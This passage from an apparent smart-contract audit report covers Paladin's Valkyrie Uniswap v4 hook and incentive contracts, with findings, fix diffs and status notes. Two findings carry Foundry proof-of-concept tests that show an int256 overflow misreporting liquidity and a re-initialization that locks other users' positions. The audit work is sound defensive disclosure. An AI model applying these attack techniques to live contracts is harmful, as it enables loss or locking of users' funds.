Recommended Mitigation: Validate the newly-created range against the pool tick spacing to ensure there is no mismatch:

```
    function createRange(PoolKey calldata key, RangeKey calldata rangeKey) external {
++      if(
++          rangeKey.tickLower % key.tickSpacing != 0 ||
++          rangeKey.tickUpper % key.tickSpacing != 0
++      ) revert();


        PoolId poolId = key.toId();
        RangeId rangeId = rangeKey.toId();

        if (!initializedPools[poolId]) revert PoolNotInitialized();
        if (alreadyCreatedRanges[poolId][rangeId] || rangeLpToken[rangeId] != address(0)) revert
        ↪  RangeAlreadyCreated();
        alreadyCreatedRanges[poolId][rangeId] = true;

        ...
    }
```

Paladin: Fixed by commit `0db4aea`.

Cyfrin: Verified. The range ticks are now validated against the tick spacing.

7.4.3 Missing zero address validation in `BoostedIncentiveLogic`

Description: Unlike in the `BaseIncentiveLogic` constructor, `BoostedIncentiveLogic` fails to validate `_boostingPowerAdaptor` against the zero address which could result in Dos if erroneously configured in this way.

Recommended Mitigation:

```
    constructor(address _incentiveManager, uint256 _defaultFee, address _boostingPowerAdaptor)
        BaseIncentiveLogic(_incentiveManager, _defaultFee)
    {
++      if (_boostingPowerAdaptor == address(0)) revert();
        boostingPowerAdaptor = IBoostingPowerAdapter(_boostingPowerAdaptor);
    }
```

Paladin: Fixed by commit `c3ee9d5`.

Cyfrin: Verified. The constructor argument is now validated against the zero address.

7.4.4 Value mistakenly sent to `PoolCreator` can be permanently locked

Description: The `PoolCreator` is a simple contract designed to create Uniswap v4 pools. The `createPool()` function is currently marked `payable`, however this is not necessary as no value is passed to `PoolManager`:

```
function createPool(PoolKey calldata key, uint160 sqrtPriceX96) external payable returns (PoolId
↪  poolId, int24 tick) {
    poolId = key.toId();
```

```
    tick = poolManager.initialize(key, sqrtPriceX96);
}
```

Due to the absence of any refunds or functions to sweep native tokens, any value mistakenly sent with calls to this function will be permanently locked.

Recommended Mitigation: Remove the `payable` keyword to prevent value from being sent to the contract.

Paladin: Fixed by commit b271724.

Cyfrin: Verified. The function is no longer payable.

7.4.5 Unsafe downcast in `ValkyrieSubscriber::toInt256` could silently overflow

Description: While it is highly unlikely that liquidity amounts will ever get close to overflowing `int256` for tokens with a reasonable number of decimals, there is an unsafe downcast in `ValkyrieSubscriber::toInt256` from `uint256` that could silently overflow:

```
function toInt256(uint256 y) internal pure returns (int256 z) {
    z = int256(y);
}
```

This function is called with `notifySubscribe()`, `notifyUnsubscribe()`, and `notifyBurn()`, so a silent overflow could have serious consequences for incentive accounting.

Impact: The impact is limited as malicious pools are unlikely to be added for incentives. Nevertheless, the below proof of concept demonstrates how an attacker could abuse incentives by notifying a small removal of liquidity when in fact they unsubscribe their position.

Proof of Concept: The following test should be added to `ValkyrieSubscriber.t.sol`:

```
function test_notifyUnsubscribe_Overflow() public {
    IncentivizedPoolId expectedId = IncentivizedPoolKey({ id: id, lpToken: address(0) }).toId();

    positionManager.notifySubscribe(0, EMPTY_BYTES);
    positionManager.notifySubscribe(5, EMPTY_BYTES);

    uint256 amount = uint256(type(int256).max);
    uint256 halfAmount = amount / 2;
    // add half the amount twice to overflow int256
    positionManager.notifyModifyLiquidity(5, int256(halfAmount), feeDelta);
    positionManager.notifyModifyLiquidity(5, int256(halfAmount), feeDelta);

    (IncentivizedPoolId receivedId, address account, int256 liquidityDelta) =
    incentiveManager.lastNotifyAddData(address(subscriber));

    assertEq(IncentivizedPoolId.unwrap(receivedId), IncentivizedPoolId.unwrap(expectedId));
    assertEq(account, owner2);
    assertEq(liquidityDelta, (int256(halfAmount)));

    // now remove full amount
    console.log("unsubscribing: notifies removal of all liquidity");
    positionManager.notifyUnsubscribe(5);

    (receivedId, account, liquidityDelta) =
    incentiveManager.lastNotifyRemoveData(address(subscriber));

    assertEq(IncentivizedPoolId.unwrap(receivedId), IncentivizedPoolId.unwrap(expectedId));
    assertEq(account, owner2);
    uint256 deltaU256 = uint256(-liquidityDelta);
    console.log("actually notified removal of %s liquidity due to overflow", deltaU256 / 1e18);
    assertGt(amount, deltaU256);
```

```
    console.log("unsubscribe removed all %s liquidity but reported different delta", amount / 1e18);
}
```

Output:

```
[PASS] test_notifyUnsubscribe_Overflow() (gas: 256275)
Logs:
  unsubscribing: notifies removal of all liquidity
  actually notified removal of 220 liquidity due to overflow
  unsubscribe removed all 57896044618658097711785492504343953926634992332820282019728 liquidity but
  ↪  reported different delta
```

Recommended Mitigation:

```
    function toInt256(uint256 y) internal pure returns (int256 z) {
++   if(y > uint256(type(int256).max)) revert("Overflow");
        z = int256(y);
    }
```

Paladin: Fixed by commit 82ec6ff.

Cyfrin: Verified. The OpenZeppelin `SafeCast` library is now used to perform checked downcasts.

7.4.6 Positions can be locked by malicious re-initialization in the event of multiple `ValkyrieSubscriber` contracts being deployed

Description: `IncentiveManager::notifyInitialize` does not currently check whether there is already an assigned hook corresponding to a give pool identifier:

```
function notifyInitialize(PoolId id, address lpToken) external onlyAllowedHooks {
    IncentivizedPoolId _id = _convertToIncentivizedPoolId(id, lpToken);
    listedPools[_id] = true;
    poolLinkedHook[_id] = msg.sender;
}
```

Therefore, if this function can be called again then the permissioned role can be taken, preventing the previous one from executing any of the other methods. While it is understood that there are currently no plans to have multiple deployments of the `ValkyrieSubscriber` contract, a position could be maliciously reinitialized on a new subscriber due to this missing validation in `IncentiveManager::notifyInitialize`.

Note that this is not currently an issue for the hooks as `BaseHook` enforces the initialization invariant, and there is no overlap between these hook positions and those of the subscriber.

Proof of Concept: Imagine there are two different instance of `ValkyrieSubscriber` (`subscriberA` and `subscriberB`):

1. Users call `Notifier::subscribe` on their position for `subscriberA`, executing the following:

```
function notifySubscribe(uint256 tokenId, bytes memory /*data*/) external override onlyPositionManager {
    (PoolKey memory poolKey,) = positionManager.getPoolAndPositionInfo(tokenId);
    PoolId poolId = poolKey.toId();

    if(!_initializedPools[poolId]) {
        if (address(incentiveManager) != address(0)) {
            incentiveManager.notifyInitialize(poolId, address(0));
        }
        _initializedPools[poolId] = true;
    }
    ...
}
```

The first user subscription will trigger the `IncentiveManager::notifyInitialize`, assigning the linked hook to `subscriberA`. Notice that any subsequent subscriptions to `subscriberA` will no longer trigger this method.

2. A malicious user calls `Notifier::subscribe` from a position of the same Uniswap pool pointing to `subscriberB`. This other subscriber will trigger the same functions and `poolLinkedHook` will be assigned to the `subscriberB`.
3. At this point, all users that subscribed to `subscriberA` can no longer interact with their positions. Upon attempting to do so, any action on their positions will trigger a notification on `subscriberA` that will call the `IncentiveManager`, but the execution will fail due to this validation:

```
function notifyAddLiquidty(PoolId id, address lpToken, address account, int256 liquidityDelta)
    external
    onlyAllowedHooks
{
    ...
    if (poolLinkedHook[_id] != msg.sender) revert NotLinkedHook();
    ...
}

function notifyRemoveLiquidty(PoolId id, address lpToken, address account, int256 liquidityDelta)
    external
    onlyAllowedHooks
{
    ...
    if (poolLinkedHook[_id] != msg.sender) revert NotLinkedHook();
    ...
}

function _notifySwap(PoolId id, address lpToken) internal {
    ...
    if (poolLinkedHook[_id] != msg.sender) revert NotLinkedHook();
    ...
}
```

Note that honest users would still be able to subscribe to `subscriberA` but this would result in their positions being locked forever.

The following test should be placed in `ValkyrieSubscriber.t.sol`:

```
function test_MoreThanOneSubscriber() public {
    IncentiveManager incentiveManagerRealImplementation = new IncentiveManager();
    ValkyrieSubscriber subscriberA = new
    ↪  ValkyrieSubscriber(IIncentiveManager(address(incentiveManagerRealImplementation)),
    ↪  PositionManager(payable(address(positionManager))));
    ValkyrieSubscriber subscriberB = new
    ↪  ValkyrieSubscriber(IIncentiveManager(address(incentiveManagerRealImplementation)),
    ↪  PositionManager(payable(address(positionManager))));
    incentiveManagerRealImplementation.addHook(address(subscriberA));
    incentiveManagerRealImplementation.addHook(address(subscriberB));

    IncentivizedPoolId expectedId = IncentivizedPoolKey({ id: id, lpToken: address(0) }).toId();

    // Mock function to route the call to the specific subscriber
    positionManager.setSubscriber(subscriberA);

    // Some user subscribes their position number 0 to subscriberA
    positionManager.notifySubscribe(0, EMPTY_BYTES);

    // Mock function to route the call to the specific subscriber
    positionManager.setSubscriber(subscriberB);
```

```
    // Some other user subscribes their position number 5 to subscriberA
    positionManager.notifySubscribe(5, EMPTY_BYTES);

    // Mock function to route the call to the specific subscriber
    positionManager.setSubscriber(subscriberA);

    // At this point the first user that subscribed to SubscriberA will not be able to do anything
    vm.expectRevert();
    positionManager.notifyUnsubscribe(0);

    vm.expectRevert();
    positionManager.notifyBurn(0, address(this), pos2, 195e18, feeDelta);

    vm.expectRevert();
    positionManager.notifyModifyLiquidity(0, 35e18, feeDelta);
}
```

Impact: The impact is currently limited due to the intention to only ever deploy a single subscriber contract. If this were to change without applying the recommended mitigation then this would greatly increase the severity.

Recommended Mitigation: Add the following validation to `IncentiveManager::notifyInitialize`:

```
    function notifyInitialize(PoolId id, address lpToken) external onlyAllowedHooks {
        IncentivizedPoolId _id = _convertToIncentivizedPoolId(id, lpToken);
++      require(poolLinkedHook[_id] == address(0), "Hook already linked");
        listedPools[_id] = true;
        poolLinkedHook[_id] = msg.sender;
    }
```

Paladin: Fixed by commit ae96366.

Cyfrin: Verified. Pools managed by the `ValkyrieSubscriber` can no longer be re-initialized.

7.4.7 Inability to remove hooks and Incentive Systems from the Incentive Manager

Description: It is understood that there is currently no mechanism for removing hooks and Incentive Systems from the Incentive Manager to avoid potential sync and notification issues. However, if a bug or some other attack is discovered on one of these contracts that causes them to misbehave, it may be pertinent to consider implementing pausing functionality or some other type of freezing mechanism that prevents specific actions (e.g. deposits in the Hooks, depositing rewards, etc).

Paladin: Fixed by commit 9d6cbff.

Cyfrin: Verified. The logic contract are now pauseable and individual listed hooks can be frozen.

7.5 Informational

7.5.1 The updated version of `BaseHook` should be used

Description: The abstract `BaseHook` contract is stated to have been copied from the `uniswap/v4-periphery` repository; however, this version of the contract is outdated. The `onlyByManager` modifier is not necessary as the `onlyPoolManager` modifier can be used instead. Additionally, the commented out code can be removed.

Recommended Mitigation: Use the updated `BaseHook` contract, ideally as an import instead of copying the file.

Paladin: Acknowledged, but no changes => The version of `BaseHook` that was copied is indeed from a previous version in `uniswap/v4-periphery`, but we prefer this past version as it already handles all hook methods, and do not need to refactor the Valkyrie Hooks for all the methods to be internal. As long as the complete Hook respects the `IHook` interface, we consider it a valid base.

Cyfrin: Acknowledged.

7.5.2 Unused custom errors and constants can be removed

Description: * `MultiRangeHook` declares the `RangeNotCreated()` custom error but it is never used. It would make sense to perform an associated check within `MultiRangeHook::addLiquidity`; however, validation is already performed and handled by a revert with the `RangeNotInitialized()` custom error if the corresponding LP token is `address(0)` which covers both cases. Hence, `RangeNotCreated()` may not needed and could be removed.

```
 address lpToken = rangeLpToken[params.range.toId()];
if (lpToken == address(0)) revert RangeNotInitialized();
```

- The `MAX_INT` constant is similarly declared in `MultiRangeHook` but not used and so can also be removed.

Unlike `FullRangeHook::beforeInitialize` shown below, `MultiRangeHook::beforeInitialize` does not enforce a default tick spacing despite the declaration of the `TickSpacingNotDefault()` custom error that is never actually used.

```
function beforeInitialize(address, PoolKey calldata key, uint160)
    external
    override
    onlyPoolManager
    returns (bytes4)
{
    if (key.tickSpacing != 60) revert TickSpacingNotDefault();
    ...
}
```

If this error is not needed, then it should be removed; otherwise, the necessary validation should be performed.

- The `DistributionEndTooEarly()` custom error is declared in `BasicIncentiveLogic`, `BoostedIncentiveLogic`, and `TimeWeightedIncentiveLogic` but is not used. Instead, it appears that the duration is validated against `MIN_DURATION` with the `InvalidDuration()` error.
- `ConversionUnderflow()` is declared in `ValkyrieSubscriber` but never used.

Paladin: Fixed by commit `2f727a5`.

Cyfrin: Verified. Unused errors and constants have been removed.

7.5.3 Insufficient validation on the pool key in liquidity-modifying functions

Description: `FullRangeHook::addLiquidity` and `FullRangeHook::removeLiquidity` should only be callable with pools created via the hook itself; however there is a lack of validation on the pool key that means this is not strictly enforced. Instead, the current logic relies on the revert behavior when `IncentivizedERC20` functions are called on `address(0)` liquidity token.

Recommended Mitigation: The following validation should be added to explicitly enforce this requirement:

```
++ if (poolInfo[poolId].liquidityToken == address(0)) revert InvalidLiquidityToken();
```

Paladin: Fixed by commit 5eef1b0.

Cyfrin: Verified. Additional validation has been added.

7.5.4 Various typographical errors should be fixed

Description: The following is a list of typographical errors in both the code and documentation that should be fixed.

Recommended Mitigation: * `FullRangeHook`:

```
contract FullRangeHook is BaseHook, ReentrancyGuard, ITokenizedHook {
    ...
--  /// @notice Erorr raised if the tick spacing is not default
++  /// @notice Error raised if the tick spacing is not default
    error TickSpacingNotDefault();
    ...
}
```

- `MultiRangeHook`:

```
contract MultiRangeHook is BaseHook, ReentrancyGuard, ITokenizedHook {
    ...
--  /// @notice Erorr raised if the tick spacing is not default
++  /// @notice Error raised if the tick spacing is not default
    error TickSpacingNotDefault();
    ...
--  /// @notice Fees sotred from collected fees for each Range
++  /// @notice Fees stored from collected fees for each Range
    mapping(PoolId => mapping(RangeId => RangeStoredFees)) public rangesStoredFees;
}
```

- `ValkyrieHooklet`:

```
contract ValkyrieHooklet is IHooklet {
    ...

    /*
    This Hooklet needs the following flags in this contract
--  least siginificant bits of the deployement address :
++  least significant bits of the deployment address :
    uint160 internal constant BEFORE_TRANSFER_FLAG = 1 << 11;
    uint160 internal constant AFTER_INITIALIZE_FLAG = 1 << 8;
    uint160 internal constant AFTER_DEPOSIT_FLAG = 1 << 6;
    uint160 internal constant BEFORE_WITHDRAW_FLAG = 1 << 5;
    uint160 internal constant AFTER_SWAP_FLAG = 1;
    */

    constructor(IIncentiveManager _incentiveManager, IBunniHub _bunniHub) {
        incentiveManager = _incentiveManager;
        bunniHub = _bunniHub;
    }
    ...
    /// @inheritdoc IHooklet
    function beforeSwap(
        address,
        PoolKey calldata,
        IPoolManager.SwapParams calldata
    )
```

```
        external
        returns (
            bytes4 selector,
--            bool feeOverriden,
++            bool feeOverridden,
            uint24 fee,
            bool priceOverridden,
            uint160 sqrtPriceX96
        )
    {
        return (ValkyrieHooklet.beforeSwap.selector, false, 0, false, 0);
    }

    /// @inheritdoc IHooklet
    function beforeSwapView(
        address,
        PoolKey calldata,
        IPoolManager.SwapParams calldata
    )
        external
        view
        override
        returns (
            bytes4 selector,
--          bool feeOverriden,
++          bool feeOverridden,
            uint24 fee,
            bool priceOverridden,
            uint160 sqrtPriceX96
        )
    {
        return (ValkyrieHooklet.beforeSwap.selector, false, 0, false, 0);
    }
    ...
}
```

- BaseIncentiveLogic:

```
abstract contract BaseIncentiveLogic is Owner, ReentrancyGuard, IIncentiveLogic {
    ...
--  /// @notice State fo the reward data for an incentivized pool
++  /// @notice State for the reward data for an incentivized pool
    struct RewardData {
        /// @notice Timestamp at which the distribution ends
        uint32 endTimestamp;
        /// @notice Timestamp at which the last update was made
        uint32 lastUpdateTime;
        /// @notice Current rate per second for the distribution
        uint96 ratePerSec;
        /// @notice Last updated reward per token
        uint96 rewardPerTokenStored;
    }
    ...
    /// @notice Event emitted when fees are retrieved
--    event FeesRetreived(address indexed token, uint256 amount);
++    event FeesRetrieved(address indexed token, uint256 amount);
    ...
}
```

- BasicIncentiveLogic:

```
contract BasicIncentiveLogic is BaseIncentiveLogic {
```

```
    ...
    /// @inheritdoc BaseIncentiveLogic
    function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
        external
        override
        nonReentrant
    {
        ...
        if (endTimestampCache < block.timestamp) {
            ...
        } else {
--          // Calculates the remianing duration left for the current distribution
++          // Calculates the remaining duration left for the current distribution
            uint256 remainingDuration = endTimestampCache - block.timestamp;
            ...
        }

        ...
    }
```

- BoostedIncentiveLogic:

```
contract BoostedIncentiveLogic is BaseIncentiveLogic {
    ...
--  /// @dev Boostless factor for user whithout boosting power
++  /// @dev Boostless factor for user without boosting power
    uint256 private constant BOOSTLESS_FACTOR = 40;
    }
    ...
    function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
        external
        override
        nonReentrant
    {
        ...
        if (endTimestampCache < block.timestamp) {
            ...
        } else {
--          // Calculates the remianing duration left for the current distribution
++          // Calculates the remaining duration left for the current distribution
            uint256 remainingDuration = endTimestampCache - block.timestamp;
            ...
        }

        ...
--  /// @dev Updates the boosted balance of an user for an incentivized pool
++  /// @dev Updates the boosted balance of a user for an incentivized pool
    /// @param id Id of the incentivized pool
    /// @param account Address of the user
    function _updateUserBoostedBalance(IncentivizedPoolId id, address account) internal {
        ...
    }
    ...
--  /// @notice Updates the user reward state then the boosted balance of an user for an incentivized
↪   pool
++  /// @notice Updates the user reward state then the boosted balance of a user for an incentivized
↪   pool
    /// @param id Id of the incentivized pool
    /// @param account Address of the user
    function updateUserBoostedBalance(IncentivizedPoolId id, address account) external nonReentrant {
        ...
    }
```

```
}
```

- TimeWeightedIncentiveLogic:

```
contract TimeWeightedIncentiveLogic is BaseIncentiveLogic {
    /// @notice Event emitted when rewards are withdrawn from a pool
    event RewardsWithdrawn(
--      IncentivizedPoolId indexed id, address indexed token, address indexed recepient, uint256 amount
++      IncentivizedPoolId indexed id, address indexed token, address indexed recipient, uint256 amount
    );
    ...
--  /// @notice Rewards checckpoints for an user
++  /// @notice Rewards checkpoints for an user
    struct RewardCheckpoint {
        /// @notice Timestamp of the checkpoint
        uint128 timestamp;
        /// @notice Duration of the position in the pool
        uint128 duration;
    }
    ...
    function _depositRewards(
        IncentivizedPoolId id,
        address token,
        uint256 amount,
        uint256 duration,
        uint256 requiredDuration,
        RewardType rewardType
    ) internal {
        ...
        if (endTimestampCache < block.timestamp) {
            ...
        } else {
            ...
--          // Calculates the remianing duration left for the current distribution
++          // Calculates the remaining duration left for the current distribution
            uint256 remainingDuration = endTimestampCache - block.timestamp;
            ...
        }

        IncentiveManager(incentiveManager).addPoolIncentiveSystem(id);
        // Sync pool total liquidity if not already done
        if(!poolSynced[id]) {
            _syncPoolLiquidity(id);
            poolSynced[id] = true;
        }

        emit RewardsDeposited(id, token, amount, duration);
    }
    ...
--  function _earnedTimeWeigthed(IncentivizedPoolId id, address token, address account, uint256
↪   newRewardPerToken)
++  function _earnedTimeWeighted(IncentivizedPoolId id, address token, address account, uint256
↪   newRewardPerToken)
        internal
        view
        returns (uint256 earnedAmount, uint256 leftover)
    {
        ...
    }
}
```

- IncentiveManager:

```
contract IncentiveManager is Owner, ReentrancyGuard {
    using IncentivizedPoolIdLibrary for IncentivizedPoolKey;

    /// @notice Struct representing an Incentive System
    struct IncentiveSystem {
--      /// @notice Address of the Incentive logix
++      /// @notice Address of the Incentive logic
        address system;
        /// @notice Flag to notify the system when a swap occurs
        bool updateOnSwap;
    }
    ...
--  /// @notice Notifies the initialization of a pool buy a listed Hook
++  /// @notice Notifies the initialization of a pool by a listed Hook
    /// @param id PoolId for the given pool
    /// @param lpToken Address of the liquidity token associated with the pool
    function notifyInitialize(PoolId id, address lpToken) external onlyAllowedHooks {
        ...
    }
    ...
--  function notifyAddLiquidty(PoolId id, address lpToken, address account, int256 liquidityDelta)
++  function notifyAddLiquidity(PoolId id, address lpToken, address account, int256 liquidityDelta)
        external
        onlyAllowedHooks
    {
        ...
    }
--  function notifyRemoveLiquidty(PoolId id, address lpToken, address account, int256 liquidityDelta)
++  function notifyRemoveLiquidity(PoolId id, address lpToken, address account, int256 liquidityDelta)
        external
        onlyAllowedHooks
    {
        ...
    }
}
```

- IncentivesZap:

```
--  /// @title IncetivesZap
++  /// @title IncentivesZap
    /// @author Koga - Paladin
--  /// @notice Contract to claim rewards accross multiple IncentiveLogic contracts
++  /// @notice Contract to claim rewards across multiple IncentiveLogic contracts
    contract IncentivesZap {
        using IncentivizedPoolIdLibrary for IncentivizedPoolKey;

          /// @notice Parameters for claiming incentives
          struct ClaimedParams {
              address source;
              IncentivizedPoolId id;
              address account;
          }

          /// @notice Claims multiple incentives from multiple IncentiveLogic contracts at once
          /// @param params Array of ClaimedParams
          function claimZap(ClaimedParams[] calldata params) external {
              // @gas cheaper not to cache length for calldata array input
              for(uint256 i; i < params.length; i++) {
                  IIncentiveLogic(params[i].source).claimAll(params[i].id, params[i].account,
                  ↪  params[i].account);
```

```
            }
        }

    }
```

- `ValkyrieSubscriber`:

```
     /// @title ValkyrieSubscriber
     /// @author Koga - Paladin
--  /// @notice Subsciber contract to connect UniswapV4 PositionManager with the IncentiveManager
++  /// @notice Subscriber contract to connect UniswapV4 PositionManager with the IncentiveManager
    contract ValkyrieSubscriber is ISubscriber {
        ...
        /// @notice Error emitted when a tokenId is not subscribed
--      error NotSubsribed();
++      error NotSubscribed();
        ...
    }
```

Paladin: Fixed by commit 9272153.

Cyfrin: Verified. The errors have been fixed.

7.5.5 Unnecessary `BoostedIncentiveLogic` functions can be removed

Description: * `BoostedIncentiveLogic::_updateRewardState` overrides the `BaseIncentiveLogic` implementation; however, both functions have exactly the same implementation, so there is no need to override it.

- `BoostedIncentiveLogic::updateUserBoostedBalance` is completely unnecessary because `updateUserState` performs the exact same state changes:

```
function updateUserState(IncentivizedPoolId id, address account) external override nonReentrant {
    _updateAllUserState(id, account);
    _updateUserBoostedBalance(id, account);
}

function updateUserBoostedBalance(IncentivizedPoolId id, address account) external nonReentrant {
    _updateAllUserState(id, account);
    _updateUserBoostedBalance(id, account);
}
```

Recommended Mitigation:

1. Remove the overridden `_updateRewardState()` implementation.
2. Remove the `updateUserBoostedBalance()` function and use the overridden `updateUserState()` in its place.

Paladin: Fixed by commit df40bd5.

Cyfrin: Verified. The overridden `_updateRewardState()` implementation and the `updateUserBoostedBalance()` function have been removed.

7.5.6 Use `days` keyword for better readability

Description: `TimeWeightedIncentiveLogic` currently declares the `MIN_INCREASE_DURATION` constant as `3 * 86400`. Instead, `3 days` should be used for better readability.

Paladin: Fixed by commit 8eac91a.

Cyfrin: Verified. The `days` keyword is now used.

7.6 Gas Optimization

7.6.1 Unnecessary native token checks

Description: `FullRangeHook::beforeInitialize` attempts to retrieve the symbol of both currencies, with explicit handling of the native token; however, it is not possible for `currency1` to be the native token given ordering rules in Uniswap (`currency0 < currency1`) since it is represented as `address(0)`.

```
// Prepare the symbol for the LP token to be deployed
string memory symbol0 =
    key.currency0.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
    ↪  IERC20Metadata(Currency.unwrap(key.currency0)).symbol();
string memory symbol1 =
    key.currency1.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
    ↪  IERC20Metadata(Currency.unwrap(key.currency1)).symbol();
```

The same happens when returning the native value sent to the contract during delta settlement. It currently checks both tokens to be the zero address but in reality only token 0 can be the native token.

```
    /// @dev Settles any deltas after adding/removing liquidity
    function _settleDeltas(address sender, PoolKey memory key, BalanceDelta delta) internal {
        key.currency0.settle(poolManager, sender, uint256(int256(-delta.amount0())), false);
        key.currency1.settle(poolManager, sender, uint256(int256(-delta.amount1())), false);
@>      if (key.currency0.isAddressZero() || key.currency1.isAddressZero()) _returnNative(sender);
    }
```

Recommended Mitigation: The second ternary operator can be removed since it is guaranteed that `currency1` will not be the native token.

```
   string memory symbol0 =
       key.currency0.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
       ↪  IERC20Metadata(Currency.unwrap(key.currency0)).symbol();
-- string memory symbol1 =
--     key.currency1.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
↪  IERC20Metadata(Currency.unwrap(key.currency1)).symbol();
++ string memory symbol1 = IERC20Metadata(Currency.unwrap(key.currency1)).symbol();
```

For returning the native value, it is only necessary to check for token 0

```
    /// @dev Settles any deltas after adding/removing liquidity
    function _settleDeltas(address sender, PoolKey memory key, BalanceDelta delta) internal {
        key.currency0.settle(poolManager, sender, uint256(int256(-delta.amount0())), false);
        key.currency1.settle(poolManager, sender, uint256(int256(-delta.amount1())), false);
--      if (key.currency0.isAddressZero() || key.currency1.isAddressZero()) _returnNative(sender);
++      if (key.currency0.isAddressZero()) _returnNative(sender);
    }
```

Paladin: Acknowledged, change not made.

Cyfrin: Acknowledged.

7.6.2 Unnecessary liquidity read and subtraction operation can be removed

Description: `FullRangeHook::addLiquidity` works as follows:

```
function addLiquidity(AddLiquidityParams calldata params)
    external
    payable
    nonReentrant
    ensure(params.deadline)
    returns (uint128 liquidity)
{
```

```
    ...
    // Read the pool liquidity previous to the addition
    uint128 poolLiquidity = poolManager.getLiquidity(poolId);

    // Calculate the amount of liquidity to be added to the pool
    liquidity = LiquidityAmounts.getLiquidityForAmounts(
        sqrtPriceX96,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        params.amount0Desired,
        params.amount1Desired
    );

    if (poolLiquidity == 0 && liquidity <= MINIMUM_LIQUIDITY) {
        revert LiquidityDoesntMeetMinimum();
    }
    // Add the liquidity to the pool
    BalanceDelta addedDelta = modifyLiquidity(
        key,
        IPoolManager.ModifyLiquidityParams({
            tickLower: MIN_TICK,
            tickUpper: MAX_TICK,
            liquidityDelta: liquidity.toInt256(),
            salt: 0
        })
    );

    // @gas cache pool's liquidity token
    IncentivizedERC20 poolLiquidityToken = IncentivizedERC20(poolInfo[poolId].liquidityToken);

    uint256 liquidityMinted;
    if (poolLiquidity == 0) {
        ...
    } else {
        // Calculate the amount of LP tokens to mint
@>      liquidityMinted = FullMath.mulDiv(
            poolLiquidityToken.totalSupply(),
            liquidity,
            poolManager.getLiquidity(poolId) - liquidity
        );
        // Mint the LP tokens to the user
        poolLiquidityToken.mint(params.to, liquidityMinted);
    }
    ...
}
```

The final computation of the liquidity minted is the total LP token supply, multiplied by the added liquidity and divided by the previous liquidity. The previous liquidity is computed by fetching the current pool liquidity and subtracting the added liquidity; however, these two operations are redundant as the result will always be the same as the previously fetched `poolLiquidity` which is the liquidity from the pool before the addition.

Recommended Mitigation:

```
    function addLiquidity(AddLiquidityParams calldata params)
        external
        payable
        nonReentrant
        ensure(params.deadline)
        returns (uint128 liquidity)
    {
        ...
        uint128 poolLiquidity = poolManager.getLiquidity(poolId);
```

```
        ...
        uint256 liquidityMinted;
        if (poolLiquidity == 0) {
            // permanently lock the first MINIMUM_LIQUIDITY tokens
            liquidityMinted = liquidity - MINIMUM_LIQUIDITY;
            poolLiquidityToken.mint(address(0), MINIMUM_LIQUIDITY);
            // Mint the LP tokens to the user
            poolLiquidityToken.mint(params.to, liquidityMinted);
        } else {
            // Calculate the amount of LP tokens to mint
            liquidityMinted = FullMath.mulDiv(
                poolLiquidityToken.totalSupply(),
                liquidity,
--              poolManager.getLiquidity(poolId) - liquidity
++              poolLiquidity
            );
            // Mint the LP tokens to the user
            poolLiquidityToken.mint(params.to, liquidityMinted);
        }
        ...
    }
```

Paladin: Fixed by commit d9450d1.

Cyfrin: Verified. The cached value is now used.

7.6.3 Unnecessary liquidity sync can be removed

Description: The `BaseIncentiveLogic::_syncPoolLiquidity` method is used to synchronize the internal liquidity accounting of an incentivized pool in storage for the corresponding logic contract and is only expected to be executed once; however, there are several instances where this has been included when it is unnecessary which wastes gas in each execution.

The only locations where syncs are necessary include:

- After tokens are deposited, the total liquidity must be synced.
- When `BaseIncentiveLogic::notifyBalanceChange` is executed, the user's liquidity must be synced.
- When `BaseIncentiveLogic::notifyTransfer` is executed, both users' liquidity must be synced.

These three instances are already implemented properly in the following snippets:

```
abstract contract BaseIncentiveLogic is Owner, ReentrancyGuard, IIncentiveLogic {
    ...
    function _updateAllUserState(IncentivizedPoolId id, address account) internal virtual {
        if(!userLiquiditySynced[id][account]) {
            _syncUserLiquidity(id, account);
            userLiquiditySynced[id][account] = true;
        }
        ...
    }

    function notifyBalanceChange(IncentivizedPoolId id, address account, uint256 amount, bool increase)
        external
        virtual
        onlyIncentiveManager
    {
        _updateAllUserState(id, account);   // This syncs user's liquidity

        PoolState storage _state = poolStates[id];
        if (increase) {
            _state.totalLiquidity += amount;
```

```
            _state.userLiquidity[account] += amount;
        } else {
            _state.totalLiquidity -= amount;
            _state.userLiquidity[account] -= amount;
        }
    }

    function notifyTransfer(IncentivizedPoolId id, address from, address to, uint256 amount)
        external
        virtual
        onlyIncentiveManager
    {
        _updateAllUserState(id, from);      // This syncs from's liquidity
        _updateAllUserState(id, to);        // This syncs to's liquidity

        PoolState storage _state = poolStates[id];
        _state.userLiquidity[from] -= amount;
        _state.userLiquidity[to] += amount;
    }
}
```

```
contract BasicIncentiveLogic is BaseIncentiveLogic {
    function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
        external
        override
        nonReentrant
    {
        ...
        IncentiveManager(incentiveManager).addPoolIncentiveSystem(id);
        if(!poolSynced[id]) {
            _syncPoolLiquidity(id);
            poolSynced[id] = true;
        }

        emit RewardsDeposited(id, token, amount, duration);
    }
}
```

Recommended Mitigation: These following liquidity synchronization can be removed to avoid wasting gas in each execution of the widely used `_updateRewardState()` function:

```
abstract contract BaseIncentiveLogic is Owner, ReentrancyGuard, IIncentiveLogic {
    function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual
    ↪   {
        // Sync pool total liquidity if not already done
--      if(!poolSynced[id]) {
--          _syncPoolLiquidity(id);
--          poolSynced[id] = true;
--      }

        RewardData storage _state = poolRewardData[id][token];
        uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
        _state.rewardPerTokenStored = newRewardPerToken;

        uint32 endTimestampCache = _state.endTimestamp;
        _state.lastUpdateTime = block.timestamp < endTimestampCache ? block.timestamp.toUint32() :
        ↪   endTimestampCache;

        // Update user state if an account is provided
        if (account != address(0)) {
--          if(!userLiquiditySynced[id][account]) {
```

```
--              _syncUserLiquidity(id, account);
--              userLiquiditySynced[id][account] = true;
--          }

            UserRewardData storage _userState = userRewardStates[id][account][token];
            _userState.accrued = _earned(id, token, account).toUint160();
            _userState.lastRewardPerToken = newRewardPerToken;
        }
    }
    ...
}
```

